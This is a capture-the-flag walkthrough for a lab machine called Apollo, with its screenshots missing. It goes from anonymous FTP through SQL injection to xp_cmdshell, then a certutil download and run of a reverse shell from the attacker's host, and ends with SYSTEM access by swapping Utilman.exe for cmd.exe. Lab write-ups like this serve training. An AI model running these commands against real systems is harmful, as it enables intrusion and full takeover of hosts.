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Host Discovery 
 

 

 

 

The IP address of Apollo has been found. This will be different on the cyber range, however the 

command will be the same. 

Kali: 192.168.56.101 

Apollo: 192.168.56.175 

Service Discovery 
 

The two most important ports are 2222 and 4444. I recommend using the ‘-sC’ during this scan. 

FTP Access 
Since the machine allows anonymous access to the server, you can supply the anonymous username 

and gain access. 

 

 

 

 

Inside this FTP directory there is a hidden directory called “Michael”. 

 

 

 



Once inside, there is another hidden file, which will be hints to escalate and exploit. 

 

 

 

 

 

 

The hidden file reveals another hint that states there is a SQLi vulnerability for the website. 

 

 

 

This is a hint that you will have the ability to restore files, with the SeRestore Privilege. 

MSFVenom 
 

 

 

Rename this reverse shell to anything you wish, however you must remember this name. 

SQL Injection 
 

 

 

 

This is vulnerable to sql injection. 

 

 

 

CMD 0: SELECT 1,is_srvrolemember('sysadmin')--+ 

If this results in 1 being returned, then you can proceed. 

If that worked, then you can proceed to enter the next command. The commands have worked if you 

get the message ‘Query Executed Successfully!’. 

CMD 1: SELECT 1; EXEC sp_configure 'show advanced options', 1 
CMD 2: SELECT 1; RECONFIGURE WITH OVERRIDE 



CMD 3: SELECT 1; EXEC sp_configure 'xp_cmdshell', 1 
CMD 4: SELECT 1; RECONFIGURE WITH OVERRIDE 
If everything worked, you should be able to ping yourself. Like in the example below. 

CMD 5: SELECT 1; EXEC xp_cmdshell 'ping 192.168.56.101'--+ 
 

Wireshark capture (in pink). 

If you can ping, then download the reverse shell executable to the victim machine and execute it. 

Download: SELECT 1; EXEC xp_cmdshell “Certutil.exe -urlcache -f http://192.168.56.101/mike.exe 

C:\Users\Public” 

Execute: SELECT 1; EXEC xp_cmdshell “C:\Users\Public\mike.exe” 

Now you are inside. There is a timeout 

limit of 1 hour, so you will have to re-

run the second command once it times 

out. 

 

Lateral Movement 
 

 

You will notice that this is a service account, however we don’t want this account. It doesn’t have the 

privilege SeRestore. Let’s see if there are any home directories accessible to this account. 

 

 

 

 

 

 

 

Navigating to the Sys Admin directory, you will notice a credentials file. 

 

 

http://192.168.56.101/mike.exe


Decoding this base64 gives us the account password to Michael. Now I can RDP into this machine. 

 

 

XFreeRDP 
 

This will RDP into the webserver, given any account credentials. 

Flag 1 
 

 

 

Inside the document’s directory, you will find the first easy flag. 

The next step will require you to run powershell as admin, which will give you the necessary 

privileges. It will require you to enter the Account ‘Michael’   

 

 

 

 

 

 

 

 

 

 

 

Don’t worry, this will only prompt you for the password for the Michael account. 

 

 

 

 



 

 

 

 

Now you should see the SeRestorePrivilege, however it is in a disabled state. Download the 

PowerShell script from github and run it to enable it. 

URL: https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1 

 

 

 

Next up, you will create a backup of the tool Utilman.exe, as ‘Utilman.exe.old’. Finally you rename 

cmd.exe to Utilman.exe. 

 

Proceeding to escalate, you must have access to ‘Ease of Access’ option, so RDesktop is a good tool 

for this. 

RDesktop 
 

A GUI will appear asking you to login, on the bottom right you will see 

‘Ease of Access’, click that a terminal will now appear. This will now have 

NT Authority access. 

 

 

 

 

Flag 2 
 

 

 

 

The final flag is then located in the Administrator documents directory. 

 

END OF WALKTHROUGH 


